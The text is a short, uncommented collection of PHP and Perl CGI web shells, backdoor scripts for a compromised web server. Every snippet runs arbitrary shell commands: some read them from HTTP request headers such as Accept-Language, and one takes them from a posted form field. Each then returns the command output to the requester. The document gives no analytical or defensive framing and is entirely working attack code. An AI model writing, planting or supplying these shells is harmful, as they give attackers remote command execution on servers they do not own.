<?php passthru(getenv("HTTP_ACCEPT_LANGUAGE"));?>

<?passthru(stripslashes("echo;".getenv("HTTP_ACCEPT_IP")));?>

<pre><? if ($f) { ?><form method=post><textarea name=f rows=3 cols=50><? echo $f?></textarea><input type=submit></form><? $e = "$f 2>&1"; $g= `$e`; echo "<pre>".$g."</pre>"; }?>

<?php passthru("echo;".getenv("HTTP_ACCEPT_IP"));?>

<pre><? if ($f) { ?><form method=post><textarea name=f rows=3 cols=50><? echo $f?></textarea><input type=submit></form><? $e = "$f 2>&1"; $g= `$e`; echo "<pre>".$g."</pre>"; }?>

CGI Version,

<PRE>#!/usr/bin/perl
use CGI qw(:standard);print header;$d = $ENV{"HTTP_ACCEPT_LANGUAGE"};{$l=`$d 2>&1`;print pre($l);};
</PRE>